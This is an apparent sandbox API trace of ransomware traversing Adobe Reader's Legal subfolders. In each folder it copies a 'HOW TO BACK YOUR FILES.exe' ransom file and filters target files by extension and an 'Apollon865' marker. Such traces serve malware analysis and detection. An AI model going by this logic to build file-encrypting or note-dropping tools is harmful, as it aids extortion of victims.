	[0060.031] lstrlenW (lpString=".sys") returned 4
	[0060.031] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.031] lstrlenW (lpString="license.html") returned 12
	[0060.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY"
	[0060.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592240 | out: hHeap=0x580000) returned 1
	[0060.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0060.031] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned 57
	[0060.031] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY"
	[0060.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.045] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bdb9ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bdb9ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.045] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.045] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.045] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.045] lstrlenW (lpString="eula.ini") returned 8
	[0060.045] lstrlenW (lpString="Apollon865") returned 10
	[0060.045] lstrlenW (lpString=".dll") returned 4
	[0060.046] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.046] lstrlenW (lpString=".lnk") returned 4
	[0060.046] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.046] lstrlenW (lpString=".ini") returned 4
	[0060.046] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.046] lstrlenW (lpString=".sys") returned 4
	[0060.046] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.046] lstrlenW (lpString="eula.ini") returned 8
	[0060.046] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.046] lstrlenW (lpString="license.html") returned 12
	[0060.046] lstrlenW (lpString="Apollon865") returned 10
	[0060.046] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.046] lstrlenW (lpString=".dll") returned 4
	[0060.046] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.046] lstrlenW (lpString=".lnk") returned 4
	[0060.046] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.046] lstrlenW (lpString=".ini") returned 4
	[0060.046] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.046] lstrlenW (lpString=".sys") returned 4
	[0060.046] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.046] lstrlenW (lpString="license.html") returned 12
	[0060.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS"
	[0060.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5921c0 | out: hHeap=0x580000) returned 1
	[0060.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.046] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned 57
	[0060.046] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS"
	[0060.046] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.046] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.050] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bde0050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bde0050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.050] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.050] lstrlenW (lpString="eula.ini") returned 8
	[0060.050] lstrlenW (lpString="Apollon865") returned 10
	[0060.050] lstrlenW (lpString=".dll") returned 4
	[0060.050] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.051] lstrlenW (lpString=".lnk") returned 4
	[0060.051] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.051] lstrlenW (lpString=".ini") returned 4
	[0060.051] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.051] lstrlenW (lpString=".sys") returned 4
	[0060.051] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.051] lstrlenW (lpString="eula.ini") returned 8
	[0060.051] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.051] lstrlenW (lpString="license.html") returned 12
	[0060.051] lstrlenW (lpString="Apollon865") returned 10
	[0060.051] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.051] lstrlenW (lpString=".dll") returned 4
	[0060.051] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.051] lstrlenW (lpString=".lnk") returned 4
	[0060.051] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.051] lstrlenW (lpString=".ini") returned 4
	[0060.051] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.051] lstrlenW (lpString=".sys") returned 4
	[0060.051] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.051] lstrlenW (lpString="license.html") returned 12
	[0060.051] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM"
	[0060.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592140 | out: hHeap=0x580000) returned 1
	[0060.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.051] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned 57
	[0060.051] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM"
	[0060.051] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.060] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bde0050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bde0050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.061] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.061] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.061] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.061] lstrlenW (lpString="eula.ini") returned 8
	[0060.061] lstrlenW (lpString="Apollon865") returned 10
	[0060.061] lstrlenW (lpString=".dll") returned 4
	[0060.061] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.061] lstrlenW (lpString=".lnk") returned 4
	[0060.061] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.061] lstrlenW (lpString=".ini") returned 4
	[0060.061] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.061] lstrlenW (lpString=".sys") returned 4
	[0060.061] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.061] lstrlenW (lpString="eula.ini") returned 8
	[0060.061] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.061] lstrlenW (lpString="license.html") returned 12
	[0060.061] lstrlenW (lpString="Apollon865") returned 10
	[0060.061] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.061] lstrlenW (lpString=".dll") returned 4
	[0060.061] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.061] lstrlenW (lpString=".lnk") returned 4
	[0060.061] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.061] lstrlenW (lpString=".ini") returned 4
	[0060.061] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.061] lstrlenW (lpString=".sys") returned 4
	[0060.061] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.061] lstrlenW (lpString="license.html") returned 12
	[0060.062] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB"
	[0060.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5920c0 | out: hHeap=0x580000) returned 1
	[0060.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0060.062] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned 57
	[0060.062] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB"
	[0060.062] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.062] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.065] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be061b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be061b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.065] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.065] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.066] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.066] lstrlenW (lpString="eula.ini") returned 8
	[0060.066] lstrlenW (lpString="Apollon865") returned 10
	[0060.066] lstrlenW (lpString=".dll") returned 4
	[0060.066] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.066] lstrlenW (lpString=".lnk") returned 4
	[0060.066] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.066] lstrlenW (lpString=".ini") returned 4
	[0060.066] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.066] lstrlenW (lpString=".sys") returned 4
	[0060.066] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.066] lstrlenW (lpString="eula.ini") returned 8
	[0060.066] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.066] lstrlenW (lpString="license.html") returned 12
	[0060.066] lstrlenW (lpString="Apollon865") returned 10
	[0060.066] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.066] lstrlenW (lpString=".dll") returned 4
	[0060.066] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.066] lstrlenW (lpString=".lnk") returned 4
	[0060.066] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.066] lstrlenW (lpString=".ini") returned 4
	[0060.066] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.066] lstrlenW (lpString=".sys") returned 4
	[0060.066] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.066] lstrlenW (lpString="license.html") returned 12
	[0060.066] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL"
	[0060.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592040 | out: hHeap=0x580000) returned 1
	[0060.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0060.066] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned 57
	[0060.066] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL"
	[0060.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.073] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.073] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be061b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be061b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.073] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.073] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.073] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.073] lstrlenW (lpString="eula.ini") returned 8
	[0060.073] lstrlenW (lpString="Apollon865") returned 10
	[0060.073] lstrlenW (lpString=".dll") returned 4
	[0060.073] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.073] lstrlenW (lpString=".lnk") returned 4
	[0060.073] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.073] lstrlenW (lpString=".ini") returned 4
	[0060.073] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.073] lstrlenW (lpString=".sys") returned 4
	[0060.073] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.074] lstrlenW (lpString="eula.ini") returned 8
	[0060.074] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.074] lstrlenW (lpString="license.html") returned 12
	[0060.074] lstrlenW (lpString="Apollon865") returned 10
	[0060.074] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.074] lstrlenW (lpString=".dll") returned 4
	[0060.074] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.074] lstrlenW (lpString=".lnk") returned 4
	[0060.074] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.074] lstrlenW (lpString=".ini") returned 4
	[0060.074] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.074] lstrlenW (lpString=".sys") returned 4
	[0060.074] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.074] lstrlenW (lpString="license.html") returned 12
	[0060.074] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR"
	[0060.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591fc0 | out: hHeap=0x580000) returned 1
	[0060.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0060.074] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned 57
	[0060.074] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR"
	[0060.074] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.074] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.080] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.080] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be2c310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be2c310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.080] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.080] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.080] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="eula.ini" | out: lpString1="eula.ini") returned="eula.ini"
	[0060.080] lstrlenW (lpString="eula.ini") returned 8
	[0060.080] lstrlenW (lpString="Apollon865") returned 10
	[0060.080] lstrlenW (lpString=".dll") returned 4
	[0060.080] lstrcmpiW (lpString1="eula.ini", lpString2=".dll") returned 1
	[0060.081] lstrlenW (lpString=".lnk") returned 4
	[0060.081] lstrcmpiW (lpString1="eula.ini", lpString2=".lnk") returned 1
	[0060.081] lstrlenW (lpString=".ini") returned 4
	[0060.081] lstrcmpiW (lpString1="eula.ini", lpString2=".ini") returned 1
	[0060.081] lstrlenW (lpString=".sys") returned 4
	[0060.081] lstrcmpiW (lpString1="eula.ini", lpString2=".sys") returned 1
	[0060.081] lstrlenW (lpString="eula.ini") returned 8
	[0060.081] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="license.html" | out: lpString1="license.html") returned="license.html"
	[0060.081] lstrlenW (lpString="license.html") returned 12
	[0060.081] lstrlenW (lpString="Apollon865") returned 10
	[0060.081] lstrcmpiW (lpString1="cense.html", lpString2="Apollon865") returned 1
	[0060.081] lstrlenW (lpString=".dll") returned 4
	[0060.081] lstrcmpiW (lpString1="license.html", lpString2=".dll") returned 1
	[0060.081] lstrlenW (lpString=".lnk") returned 4
	[0060.081] lstrcmpiW (lpString1="license.html", lpString2=".lnk") returned 1
	[0060.081] lstrlenW (lpString=".ini") returned 4
	[0060.081] lstrcmpiW (lpString1="license.html", lpString2=".ini") returned 1
	[0060.081] lstrlenW (lpString=".sys") returned 4
	[0060.081] lstrcmpiW (lpString1="license.html", lpString2=".sys") returned 1
	[0060.081] lstrlenW (lpString="license.html") returned 12
	[0060.081] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD"
	[0060.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591f40 | out: hHeap=0x580000) returned 1
	[0060.081] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0060.081] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned 57
	[0060.081] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD"
	[0060.081] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.081] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.087] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3be2c310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3be2c310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.087] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.087] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
